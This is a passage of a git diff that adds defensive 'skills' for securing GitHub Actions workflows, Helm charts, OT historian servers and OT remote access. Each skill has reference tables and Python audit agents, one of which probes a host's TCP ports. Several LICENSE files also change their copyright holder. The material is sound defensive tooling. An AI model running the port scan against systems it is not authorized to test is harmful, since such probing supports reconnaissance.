Attacker-controlled branch name | + +## SHA Pinning Format + +| Format | Security | +|--------|----------| +| `actions/checkout@v4` | Insecure - mutable tag | +| `actions/checkout@b4ffde65f...` | Secure - immutable SHA | + +## Permission Scopes + +| Scope | Values | +|-------|--------| +| contents | read, write | +| actions | read, write | +| deployments | read, write | +| id-token | write (for OIDC) | +| security-events | write | +| pull-requests | read, write | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `yaml` | PyYAML >=6.0 | Parse workflow YAML | +| `re` | stdlib | Pattern matching | +| `json` | stdlib | Report output | +| `pathlib` | stdlib | File discovery | + +## References + +- GitHub Actions Security Hardening: https://docs.github.com/en/actions/security-guides +- StepSecurity Harden Runner: https://github.com/step-security/harden-runner +- actionlint: https://github.com/rhysd/actionlint diff --git a/skills/securing-github-actions-workflows/scripts/agent.py b/skills/securing-github-actions-workflows/scripts/agent.py new file mode 100644 index 00000000..43702b84 --- /dev/null +++ b/skills/securing-github-actions-workflows/scripts/agent.py @@ -0,0 +1,218 @@ +#!/usr/bin/env python3 +"""Agent for securing GitHub Actions workflows. + +Audits GitHub Actions workflow files for security issues including +unpinned actions, excessive permissions, script injection risks, +dangerous triggers, and missing secret protections. +""" + +import json +import re +import sys +from pathlib import Path +from datetime import datetime + +try: + import yaml +except ImportError: + yaml = None + + +class GitHubActionsSecurityAgent: + """Audits GitHub Actions workflows for security vulnerabilities.""" + + def __init__(self, repo_path=".", output_dir="./gha_audit"): + self.repo_path = Path(repo_path) + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _load_workflow(self, path): + if yaml: + with open(path) as f: + return yaml.safe_load(f) + with open(path) as f: + return {"raw": f.read()} + + def find_workflows(self): + """Discover all workflow files in the repository.""" + wf_dir = self.repo_path / ".github" / "workflows" + if not wf_dir.exists(): + return [] + return sorted(wf_dir.glob("*.yml")) + sorted(wf_dir.glob("*.yaml")) + + def check_sha_pinning(self, workflow_path, content): + """Check if actions are pinned to SHA digests.""" + unpinned = [] + raw = content.get("raw", "") if "raw" in content else "" + if not raw: + try: + raw = Path(workflow_path).read_text() + except Exception: + return unpinned + + for line_num, line in enumerate(raw.splitlines(), 1): + m = re.search(r'uses:\s+([^@\s]+)@([^\s#]+)', line) + if m: + action, ref = m.group(1), m.group(2) + if not re.match(r'^[a-f0-9]{40}$', ref): + unpinned.append({ + "action": action, + "ref": ref, + "line": line_num, + "file": str(workflow_path), + }) + self.findings.append({ + "severity": "medium", + "type": "Unpinned Action", + "detail": f"{action}@{ref} at line {line_num}", + "file": str(workflow_path), + }) + return unpinned + + def check_permissions(self, workflow_path, content): + """Check for overly permissive GITHUB_TOKEN permissions.""" + issues = [] + if not isinstance(content, dict) or "raw" in content: + return issues + + top_perms = content.get("permissions") + if top_perms is None: + issues.append({ + "issue": "No top-level permissions defined (inherits defaults)", + "file": str(workflow_path), + }) + self.findings.append({ + "severity": "medium", + "type": "Missing Permissions", + "detail": "Workflow has no permissions block", + "file": str(workflow_path), + }) + + if top_perms == "write-all" or (isinstance(top_perms, dict) and + top_perms.get("contents") == "write" and + top_perms.get("actions") == "write"): + issues.append({"issue": "Overly permissive write-all", "file": str(workflow_path)}) + self.findings.append({ + "severity": "high", + "type": "Excessive Permissions", + "detail": "write-all permissions granted", + "file": str(workflow_path), + }) + + return issues + + def check_script_injection(self, workflow_path, content): + """Check for user-controlled input in run steps (script injection).""" + injections = [] + raw = content.get("raw", "") if "raw" in content else "" + if not raw: + try: + raw = Path(workflow_path).read_text() + except Exception: + return injections + + dangerous_contexts = [ + "github.event.pull_request.title", + "github.event.pull_request.body", + "github.event.issue.title", + "github.event.issue.body", + "github.event.comment.body", + "github.event.review.body", + "github.head_ref", + ] + + in_run = False + for line_num, line in enumerate(raw.splitlines(), 1): + stripped = line.strip() + if stripped.startswith("run:") or stripped.startswith("run: |"): + in_run = True + elif in_run and not stripped.startswith("-") and not stripped.startswith("#"): + for ctx in dangerous_contexts: + if f"${{{{ {ctx}" in line or f"${{{{{ctx}" in line: + injections.append({ + "context": ctx, + "line": line_num, + "file": str(workflow_path), + }) + self.findings.append({ + "severity": "high", + "type": "Script Injection", + "detail": f"{ctx} in run step at line {line_num}", + "file": str(workflow_path), + }) + if stripped and not stripped.startswith("-") and not stripped.startswith("#") and ":" in stripped and not stripped.startswith("run"): + in_run = False + + return injections + + def check_dangerous_triggers(self, workflow_path, content): + """Check for dangerous event triggers.""" + issues = [] + if not isinstance(content, dict) or "raw" in content: + raw = content.get("raw", "") + if "pull_request_target" in raw: + issues.append({"trigger": "pull_request_target", "file": str(workflow_path)}) + self.findings.append({ + "severity": "high", + "type": "Dangerous Trigger", + "detail": "pull_request_target allows fork code to run with base permissions", + "file": str(workflow_path), + }) + return issues + + on_block = content.get("on", content.get(True, {})) + if isinstance(on_block, dict) and "pull_request_target" in on_block: + issues.append({"trigger": "pull_request_target", "file": str(workflow_path)}) + self.findings.append({ + "severity": "high", + "type": "Dangerous Trigger", + "detail": "pull_request_target trigger used", + "file": str(workflow_path), + }) + return issues + + def audit_all(self): + """Run all security checks on all workflow files.""" + workflows = self.find_workflows() + results = [] + for wf in workflows: + content = self._load_workflow(wf) + unpinned = self.check_sha_pinning(wf, content) + perms = self.check_permissions(wf, content) + injections = self.check_script_injection(wf, content) + triggers = self.check_dangerous_triggers(wf, content) + results.append({ + "workflow": str(wf), + "unpinned_actions": len(unpinned), + "permission_issues": len(perms), + "script_injections": len(injections), + "dangerous_triggers": len(triggers), + }) + return results + + def generate_report(self): + audit = self.audit_all() + report = { + "report_date": datetime.utcnow().isoformat(), + "repository": str(self.repo_path), + "workflows_scanned": len(audit), + "audit_summary": audit, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "gha_security_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + repo = sys.argv[1] if len(sys.argv) > 1 else "." + agent = GitHubActionsSecurityAgent(repo) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/securing-helm-chart-deployments/LICENSE b/skills/securing-helm-chart-deployments/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/securing-helm-chart-deployments/LICENSE +++ b/skills/securing-helm-chart-deployments/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/securing-helm-chart-deployments/references/api-reference.md b/skills/securing-helm-chart-deployments/references/api-reference.md new file mode 100644 index 00000000..97bda937 --- /dev/null +++ b/skills/securing-helm-chart-deployments/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: Securing Helm Chart Deployments + +## Helm Security Commands + +| Command | Description | +|---------|-------------| +| `helm lint ./chart --strict` | Lint chart with strict mode | +| `helm template release ./chart` | Render templates locally | +| `helm verify chart.tgz` | Verify chart signature | +| `helm package ./chart --sign --key ` | Package and sign | +| `helm pull repo/chart --verify` | Pull with verification | + +## Security Context Fields + +| Field | Recommended | Description | +|-------|------------|-------------| +| `runAsNonRoot` | true | Prevent root execution | +| `readOnlyRootFilesystem` | true | Immutable filesystem | +| `allowPrivilegeEscalation` | false | Block privilege escalation | +| `capabilities.drop` | [ALL] | Drop all Linux capabilities | +| `seccompProfile.type` | RuntimeDefault | Syscall filtering | + +## Security Checks + +| Check | Severity | Risk | +|-------|----------|------| +| Privileged container | High | Full host access | +| hostNetwork enabled | High | Network namespace escape | +| hostPID enabled | High | Process namespace escape | +| :latest image tag | Medium | Non-reproducible builds | +| Missing resource limits | Medium | Resource exhaustion DoS | +| Missing readOnlyRootFilesystem | Medium | Writable filesystem | + +## Template Scanning Tools + +| Tool | Command | +|------|---------| +| kubesec | `kubesec scan rendered.yaml` | +| checkov | `checkov -f rendered.yaml --framework kubernetes` | +| trivy | `trivy config rendered.yaml` | +| kube-linter | `kube-linter lint rendered.yaml` | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute helm/kubesec CLI | +| `re` | stdlib | Pattern matching in rendered YAML | +| `yaml` | PyYAML >=6.0 | Parse YAML content | +| `json` | stdlib | Report generation | + +## References + +- Helm Security: https://helm.sh/docs/topics/provenance/ +- Helm Secrets Plugin: https://github.com/jkroepke/helm-secrets +- Kubesec: https://kubesec.io/ diff --git a/skills/securing-helm-chart-deployments/scripts/agent.py b/skills/securing-helm-chart-deployments/scripts/agent.py new file mode 100644 index 00000000..ca3d7d1c --- /dev/null +++ b/skills/securing-helm-chart-deployments/scripts/agent.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +"""Agent for securing Helm chart deployments. + +Validates chart provenance, renders and scans templates for +security misconfigurations, checks security contexts, and +enforces Helm deployment security baselines. +""" + +import json +import subprocess +import sys +import re +from pathlib import Path +from datetime import datetime + +try: + import yaml +except ImportError: + yaml = None + + +class HelmSecurityAgent: + """Audits Helm chart deployments for security issues.""" + + def __init__(self, chart_path, output_dir="./helm_audit"): + self.chart_path = Path(chart_path) + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _run(self, cmd, timeout=60): + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return result.stdout, result.stderr, result.returncode + except (FileNotFoundError, subprocess.TimeoutExpired) as e: + return "", str(e), -1 + + def lint_chart(self, values_file=None): + """Run helm lint with strict mode.""" + cmd = ["helm", "lint", str(self.chart_path), "--strict"] + if values_file: + cmd.extend(["--values", values_file]) + stdout, stderr, rc = self._run(cmd) + if rc != 0: + self.findings.append({ + "severity": "medium", + "type": "Lint Failure", + "detail": stderr.strip() or stdout.strip(), + }) + return {"returncode": rc, "output": stdout.strip(), "errors": stderr.strip()} + + def render_templates(self, values_file=None, release_name="audit"): + """Render Helm templates without deploying.""" + cmd = ["helm", "template", release_name, str(self.chart_path)] + if values_file: + cmd.extend(["--values", values_file]) + stdout, stderr, rc = self._run(cmd) + if rc == 0: + rendered_path = self.output_dir / "rendered.yaml" + rendered_path.write_text(stdout) + return str(rendered_path) + return None + + def check_security_contexts(self, rendered_path): + """Check rendered manifests for security context issues.""" + issues = [] + content = Path(rendered_path).read_text() + + checks = [ + (r"privileged:\s*true", "high", "Privileged container detected"), + (r"hostNetwork:\s*true", "high", "Host network access enabled"), + (r"hostPID:\s*true", "high", "Host PID namespace shared"), + (r"allowPrivilegeEscalation:\s*true", "medium", "Privilege escalation allowed"), + (r"runAsUser:\s*0\b", "medium", "Running as root (UID 0)"), + ] + + positive_checks = [ + (r"readOnlyRootFilesystem:\s*true", "readOnlyRootFilesystem"), + (r"runAsNonRoot:\s*true", "runAsNonRoot"), + (r"drop:\s*\n\s*-\s*ALL", "drop ALL capabilities"), + ] + + for pattern, severity, msg in checks: + if re.search(pattern, content): + issues.append({"severity": severity, "issue": msg}) + self.findings.append({"severity": severity, "type": "Security Context", "detail": msg}) + + for pattern, name in positive_checks: + if not re.search(pattern, content): + issues.append({"severity": "medium", "issue": f"Missing: {name}"}) + self.findings.append({"severity": "medium", "type": "Missing Hardening", "detail": f"Missing: {name}"}) + + if "resources:" not in content: + issues.append({"severity": "medium", "issue": "No resource limits defined"}) + self.findings.append({"severity": "medium", "type": "Missing Resources", "detail": "No CPU/memory limits"}) + + return issues + + def verify_chart_signature(self, keyring=None): + """Verify Helm chart provenance signature.""" + tgz = list(self.chart_path.parent.glob(f"{self.chart_path.name}-*.tgz")) + if not tgz: + return {"verified": False, "reason": "No packaged chart found"} + cmd = ["helm", "verify", str(tgz[0])] + if keyring: + cmd.extend(["--keyring", keyring]) + stdout, stderr, rc = self._run(cmd) + if rc != 0: + self.findings.append({"severity": "medium", "type": "Unsigned Chart", "detail": "Chart signature not verified"}) + return {"verified": rc == 0, "output": stdout.strip() or stderr.strip()} + + def check_image_references(self, rendered_path): + """Check if image references use digests or tags.""" + content = Path(rendered_path).read_text() + issues = [] + for m in re.finditer(r'image:\s*["\']?([^"\'\s]+)["\']?', content): + image = m.group(1) + if ":latest" in image: + issues.append({"image": image, "issue": "Uses :latest tag"}) + self.findings.append({"severity": "medium", "type": "Image Tag", "detail": f"latest tag: {image}"}) + elif "@sha256:" not in image and ":" not in image: + issues.append({"image": image, "issue": "No tag or digest specified"}) + return issues + + def scan_with_kubesec(self, rendered_path): + """Scan rendered templates with kubesec if available.""" + stdout, stderr, rc = self._run(["kubesec", "scan", rendered_path]) + if rc < 0: + return {"available": False} + try: + return json.loads(stdout) + except json.JSONDecodeError: + return {"error": "Parse failed"} + + def generate_report(self, values_file=None): + lint = self.lint_chart(values_file) + rendered = self.render_templates(values_file) + sec_ctx = [] + images = [] + if rendered: + sec_ctx = self.check_security_contexts(rendered) + images = self.check_image_references(rendered) + + report = { + "report_date": datetime.utcnow().isoformat(), + "chart": str(self.chart_path), + "lint_result": lint, + "security_context_issues": sec_ctx, + "image_issues": images, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "helm_security_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--values values.yaml]") + sys.exit(1) + chart = sys.argv[1] + values = None + if "--values" in sys.argv: + values = sys.argv[sys.argv.index("--values") + 1] + agent = HelmSecurityAgent(chart) + agent.generate_report(values) + + +if __name__ == "__main__": + main() diff --git a/skills/securing-historian-server-in-ot-environment/LICENSE b/skills/securing-historian-server-in-ot-environment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/securing-historian-server-in-ot-environment/LICENSE +++ b/skills/securing-historian-server-in-ot-environment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/securing-historian-server-in-ot-environment/references/api-reference.md b/skills/securing-historian-server-in-ot-environment/references/api-reference.md new file mode 100644 index 00000000..f76ad045 --- /dev/null +++ b/skills/securing-historian-server-in-ot-environment/references/api-reference.md @@ -0,0 +1,47 @@ +# API Reference: Securing Historian Server in OT Environment + +## Common Historian Ports + +| Port | Service | Risk if Exposed | +|------|---------|----------------| +| 5450 | PI Data Archive | SDK/API data access | +| 5457 | PI AF Server | Asset Framework access | +| 443 | HTTPS | Web API (acceptable if TLS) | +| 80 | HTTP | Cleartext credentials/data | +| 1433 | MS SQL | Direct database queries | +| 3389 | RDP | Remote admin access | +| 135/445 | RPC/SMB | Lateral movement target | +| 502 | Modbus | Industrial protocol | + +## Purdue Model Placement + +| Level | Systems | Historian Role | +|-------|---------|---------------| +| 0-1 | Field devices, PLCs | Data source | +| 2 | HMI, SCADA | Data source | +| 3 | Site Operations | OT Historian location | +| 3.5 | DMZ | Replica historian | +| 4-5 | Enterprise | Consumer of DMZ data | + +## Authentication Methods + +| Method | Security Level | Recommendation | +|--------|---------------|----------------| +| PI Trust (IP-based) | Insecure | Migrate immediately | +| piadmin default | Insecure | Disable account | +| Windows Integrated | Recommended | Use AD groups/PI Mappings | +| Certificate-based | Strong | For inter-server comms | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `socket` | stdlib | Port scanning | +| `json` | stdlib | Report generation | +| `pathlib` | stdlib | File handling | + +## References + +- OSIsoft PI Security Guide: https://docs.aveva.com/ +- IEC 62443: Industrial Automation Security +- NIST SP 800-82: Guide to ICS Security diff --git a/skills/securing-historian-server-in-ot-environment/scripts/agent.py b/skills/securing-historian-server-in-ot-environment/scripts/agent.py new file mode 100644 index 00000000..8556857f --- /dev/null +++ b/skills/securing-historian-server-in-ot-environment/scripts/agent.py @@ -0,0 +1,215 @@ +#!/usr/bin/env python3 +"""Agent for securing historian servers in OT environments. + +Audits network exposure, authentication configuration, data +integrity protections, and DMZ replication architecture of +process historian servers (OSIsoft PI, AVEVA, Honeywell PHD). +""" + +import json +import socket +import sys +from pathlib import Path +from datetime import datetime + + +HISTORIAN_PORTS = { + 5450: ("PI Data Archive", "PI SDK/API connections"), + 5457: ("PI AF Server", "PI Asset Framework"), + 5459: ("PI Notifications", "Notification Service"), + 443: ("HTTPS", "Web API / PI Vision"), + 80: ("HTTP", "Unsecured web interface"), + 1433: ("MS SQL Server", "Direct database access"), + 5432: ("PostgreSQL", "Direct database access"), + 3389: ("RDP", "Remote Desktop"), + 135: ("RPC", "Windows RPC"), + 445: ("SMB", "Windows File Sharing"), + 8080: ("HTTP Alt", "Alternative web interface"), + 502: ("Modbus", "Industrial protocol"), +} + +UNNECESSARY_PORTS = {80, 135, 445, 3389, 8080} + + +class HistorianSecurityAgent: + """Audits OT historian server security configuration.""" + + def __init__(self, historian_ip, historian_type="PI", + output_dir="./historian_audit"): + self.ip = historian_ip + self.hist_type = historian_type + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def check_network_exposure(self): + """Scan historian for exposed network services.""" + exposed = [] + for port, (service, desc) in HISTORIAN_PORTS.items(): + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + result = sock.connect_ex((self.ip, port)) + sock.close() + if result == 0: + exposed.append({ + "port": port, "service": service, "description": desc, + "unnecessary": port in UNNECESSARY_PORTS, + }) + except (socket.error, OSError): + pass + + for svc in exposed: + if svc["unnecessary"]: + self.findings.append({ + "severity": "high", + "category": "Network Exposure", + "title": f"Unnecessary service: {svc['service']} (port {svc['port']})", + "remediation": f"Disable {svc['service']} or restrict via firewall", + }) + if any(s["port"] == 80 for s in exposed): + self.findings.append({ + "severity": "high", + "category": "Encryption", + "title": "HTTP (unencrypted) web interface exposed", + "remediation": "Redirect HTTP to HTTPS and disable port 80", + }) + return exposed + + def check_authentication(self): + """Evaluate historian authentication configuration risks.""" + checks = [ + { + "check": "PI Trust Authentication", + "severity": "critical", + "risk": "IP-based auth without credentials", + "remediation": "Migrate to Windows Integrated Security", + }, + { + "check": "Default piadmin account", + "severity": "critical", + "risk": "Default admin may have weak password", + "remediation": "Disable piadmin, use named Windows accounts", + }, + { + "check": "Anonymous SDK access", + "severity": "high", + "risk": "Unauthenticated PI SDK connections", + "remediation": "Require authentication for all connections", + }, + { + "check": "Shared service accounts", + "severity": "medium", + "risk": "Non-attributable access to historian data", + "remediation": "Use individual named accounts with PI Mappings", + }, + ] + for c in checks: + self.findings.append({ + "severity": c["severity"], + "category": "Authentication", + "title": f"Review: {c['check']}", + "detail": c["risk"], + "remediation": c["remediation"], + }) + return checks + + def check_data_integrity(self): + """Evaluate data integrity protections.""" + checks = [ + { + "check": "Audit trail for data modifications", + "severity": "high", + "detail": "Historical data edits must be logged with before/after values", + "remediation": "Enable PI audit trail for all modifications", + }, + { + "check": "Backup integrity verification", + "severity": "medium", + "detail": "Backups should be tested regularly for recovery", + "remediation": "Implement automated backup verification quarterly", + }, + { + "check": "Tag security enforcement", + "severity": "high", + "detail": "Per-tag access control must restrict write access", + "remediation": "Configure tag-level security for critical process points", + }, + ] + for c in checks: + self.findings.append({ + "severity": c["severity"], + "category": "Data Integrity", + "title": c["check"], + "detail": c["detail"], + "remediation": c["remediation"], + }) + return checks + + def check_dmz_architecture(self): + """Evaluate historian DMZ replication architecture.""" + checks = [ + { + "check": "Data diode or unidirectional gateway", + "severity": "high", + "detail": "OT-to-IT replication should use hardware-enforced unidirectional flow", + "remediation": "Deploy Waterfall or equivalent data diode between OT and DMZ", + }, + { + "check": "Enterprise direct access to OT historian", + "severity": "critical", + "detail": "Enterprise users must never connect directly to OT historian", + "remediation": "Route all access through DMZ historian replica", + }, + ] + for c in checks: + self.findings.append({ + "severity": c["severity"], + "category": "DMZ Architecture", + "title": c["check"], + "detail": c["detail"], + "remediation": c["remediation"], + }) + return checks + + def generate_report(self): + exposed = self.check_network_exposure() + auth = self.check_authentication() + integrity = self.check_data_integrity() + dmz = self.check_dmz_architecture() + + severity_counts = {} + for f in self.findings: + sev = f["severity"] + severity_counts[sev] = severity_counts.get(sev, 0) + 1 + + report = { + "report_date": datetime.utcnow().isoformat(), + "historian_ip": self.ip, + "historian_type": self.hist_type, + "exposed_services": exposed, + "severity_summary": severity_counts, + "total_findings": len(self.findings), + "findings": self.findings, + } + out = self.output_dir / "historian_audit_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--type PI|AVEVA|PHD]") + sys.exit(1) + ip = sys.argv[1] + hist_type = "PI" + if "--type" in sys.argv: + hist_type = sys.argv[sys.argv.index("--type") + 1] + agent = HistorianSecurityAgent(ip, hist_type) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/securing-kubernetes-on-cloud/LICENSE b/skills/securing-kubernetes-on-cloud/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/securing-kubernetes-on-cloud/LICENSE +++ b/skills/securing-kubernetes-on-cloud/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/securing-remote-access-to-ot-environment/LICENSE b/skills/securing-remote-access-to-ot-environment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/securing-remote-access-to-ot-environment/LICENSE +++ b/skills/securing-remote-access-to-ot-environment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/securing-remote-access-to-ot-environment/references/api-reference.md b/skills/securing-remote-access-to-ot-environment/references/api-reference.md new file mode 100644 index 00000000..4cc0824d --- /dev/null +++ b/skills/securing-remote-access-to-ot-environment/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference: Securing Remote Access to OT Environment + +## Session States + +| State | Description | +|-------|-------------| +| pending_approval | Awaiting manager approval (vendor sessions) | +| approved | Approved, awaiting MFA | +| active | MFA verified, session in progress | +| terminated | Ended by user, admin, or policy | +| expired | Max duration exceeded | +| denied | Access denied by policy | + +## User Roles and Policies + +| Role | Approval | Co-Attendance | MFA | Max Duration | +|------|----------|--------------|-----|--------------| +| OT Operator | No | No | Yes | 8 hours | +| OT Engineer | No | No | Yes | 4 hours | +| Vendor | Yes | Yes | Yes | 2 hours | +| Security Analyst | No | No | Yes | 4 hours | + +## CIP-005-7 R2 Requirements + +| Requirement | Control | +|-------------|---------| +| R2.1 | Intermediate system (jump server) in DMZ | +| R2.2 | Encryption for all remote sessions | +| R2.3 | Multi-factor authentication | +| R2.4 | Session recording and logging | +| R2.5 | Disable remote access when not needed | + +## PAM Solutions + +| Tool | Capability | +|------|-----------| +| CyberArk PAS | Credential vaulting, session recording | +| BeyondTrust PRA | OT remote access, session control | +| Claroty SRA | OT-specific protocol-aware access | +| Wallix Bastion | Jump server, session recording | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `hashlib` | stdlib | Session ID generation | +| `json` | stdlib | Report output | +| `datetime` | stdlib | Session timing/expiration | + +## References + +- NERC CIP-005-7: https://www.nerc.com/pa/Stand/Reliability%20Standards/CIP-005-7.pdf +- IEC 62443-3-3: System Security Requirements +- CISA OT Remote Access: https://www.cisa.gov/news-events/alerts/ diff --git a/skills/securing-remote-access-to-ot-environment/scripts/agent.py b/skills/securing-remote-access-to-ot-environment/scripts/agent.py new file mode 100644 index 00000000..ba703048 --- /dev/null +++ b/skills/securing-remote-access-to-ot-environment/scripts/agent.py @@ -0,0 +1,194 @@ +#!/usr/bin/env python3 +"""Agent for securing remote access to OT environments. + +Manages remote access sessions with MFA verification, session +recording, role-based access policies, vendor co-attendance +requirements, and CIP-005 compliance auditing. +""" + +import json +import hashlib +import sys +from pathlib import Path +from datetime import datetime, timedelta +from enum import Enum + + +class SessionState(str, Enum): + PENDING = "pending_approval" + APPROVED = "approved" + ACTIVE = "active" + TERMINATED = "terminated" + EXPIRED = "expired" + DENIED = "denied" + + +class UserRole(str, Enum): + OT_OPERATOR = "ot_operator" + OT_ENGINEER = "ot_engineer" + VENDOR = "vendor" + SECURITY = "security_analyst" + + +class OTRemoteAccessAgent: + """Manages secure remote access to OT environments.""" + + def __init__(self, output_dir="./ot_remote_access"): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.sessions = {} + self.policies = {} + self.audit_log = [] + + def define_policy(self, role, allowed_targets, protocols, max_minutes): + """Define access policy for a user role.""" + self.policies[role] = { + "allowed_targets": allowed_targets, + "protocols": protocols, + "max_duration_minutes": max_minutes, + "requires_approval": role == UserRole.VENDOR, + "requires_co_attendance": role == UserRole.VENDOR, + } + + def request_session(self, user_id, role, source_ip, target, target_ip, + protocol, purpose): + """Request a new remote access session.""" + sid = hashlib.sha256( + f"{user_id}{target_ip}{datetime.utcnow().isoformat()}".encode() + ).hexdigest()[:16] + + policy = self.policies.get(role) + if not policy: + self._log("DENIED", user_id, target, "No policy for role") + return None, "No policy defined for role" + + if target not in policy["allowed_targets"]: + self._log("DENIED", user_id, target, "Target not authorized") + return None, f"Target {target} not authorized for {role}" + + if protocol not in policy["protocols"]: + self._log("DENIED", user_id, target, f"Protocol {protocol} not allowed") + return None, f"Protocol {protocol} not authorized" + + session = { + "session_id": sid, + "user_id": user_id, + "role": role, + "source_ip": source_ip, + "target": target, + "target_ip": target_ip, + "protocol": protocol, + "purpose": purpose, + "state": SessionState.PENDING if policy["requires_approval"] else SessionState.APPROVED, + "mfa_verified": False, + "created_at": datetime.utcnow().isoformat(), + "max_duration": policy["max_duration_minutes"], + } + self.sessions[sid] = session + self._log("REQUESTED", user_id, target, purpose) + return sid, "Session created" + + def approve_session(self, sid, approver_id): + """Approve a pending session.""" + s = self.sessions.get(sid) + if not s or s["state"] != SessionState.PENDING: + return False, "Session not pending" + s["state"] = SessionState.APPROVED + s["approved_by"] = approver_id + self._log("APPROVED", approver_id, s["target"], f"Session {sid}") + return True, "Approved" + + def activate_session(self, sid, mfa_verified=True): + """Activate session after MFA verification.""" + s = self.sessions.get(sid) + if not s or s["state"] != SessionState.APPROVED: + return False, "Not approved" + s["state"] = SessionState.ACTIVE + s["mfa_verified"] = mfa_verified + s["started_at"] = datetime.utcnow().isoformat() + s["recording_path"] = f"/recordings/{sid}_{datetime.utcnow().strftime('%Y%m%d')}.mp4" + self._log("ACTIVATED", s["user_id"], s["target"], f"MFA={'OK' if mfa_verified else 'FAIL'}") + return True, "Active" + + def terminate_session(self, sid, reason="manual"): + """Terminate an active session.""" + s = self.sessions.get(sid) + if not s: + return False + s["state"] = SessionState.TERMINATED + s["ended_at"] = datetime.utcnow().isoformat() + self._log("TERMINATED", s["user_id"], s["target"], reason) + return True + + def check_expired(self): + """Find and terminate expired sessions.""" + expired = [] + now = datetime.utcnow() + for sid, s in self.sessions.items(): + if s["state"] != SessionState.ACTIVE: + continue + started = datetime.fromisoformat(s["started_at"]) + if (now - started).total_seconds() > s["max_duration"] * 60: + self.terminate_session(sid, "max_duration_exceeded") + expired.append(sid) + return expired + + def audit_compliance(self): + """Check CIP-005 remote access compliance.""" + issues = [] + for sid, s in self.sessions.items(): + if s["state"] == SessionState.ACTIVE and not s["mfa_verified"]: + issues.append({"session": sid, "issue": "Active session without MFA (CIP-005-7 R2.4)"}) + if s["role"] == UserRole.VENDOR: + policy = self.policies.get(UserRole.VENDOR, {}) + if policy.get("requires_co_attendance") and "co_attendant" not in s: + issues.append({"session": sid, "issue": "Vendor session without co-attendance"}) + return issues + + def _log(self, event, user, target, detail): + self.audit_log.append({ + "timestamp": datetime.utcnow().isoformat(), + "event": event, + "user": user, + "target": target, + "detail": detail, + }) + + def generate_report(self): + compliance = self.audit_compliance() + active = [s for s in self.sessions.values() if s["state"] == SessionState.ACTIVE] + + report = { + "report_date": datetime.utcnow().isoformat(), + "total_sessions": len(self.sessions), + "active_sessions": len(active), + "compliance_issues": compliance, + "sessions": list(self.sessions.values()), + "audit_log": self.audit_log[-50:], + } + out = self.output_dir / "ot_remote_access_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + agent = OTRemoteAccessAgent() + agent.define_policy(UserRole.OT_ENGINEER, ["HMI-01", "EWS-01", "HISTORIAN-01"], + ["RDP", "SSH"], 240) + agent.define_policy(UserRole.VENDOR, ["DCS-EWS-01"], ["RDP"], 120) + + sid, msg = agent.request_session("vendor_01", UserRole.VENDOR, + "203.0.113.50", "DCS-EWS-01", + "10.30.1.20", "RDP", + "DCS firmware update CR-2026-0045") + if sid: + agent.approve_session(sid, "ot_manager_01") + agent.activate_session(sid) + + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/securing-serverless-functions/LICENSE b/skills/securing-serverless-functions/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/securing-serverless-functions/LICENSE +++ b/skills/securing-serverless-functions/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-android-intents-for-vulnerabilities/LICENSE b/skills/testing-android-intents-for-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-android-intents-for-vulnerabilities/LICENSE +++ b/skills/testing-android-intents-for-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ 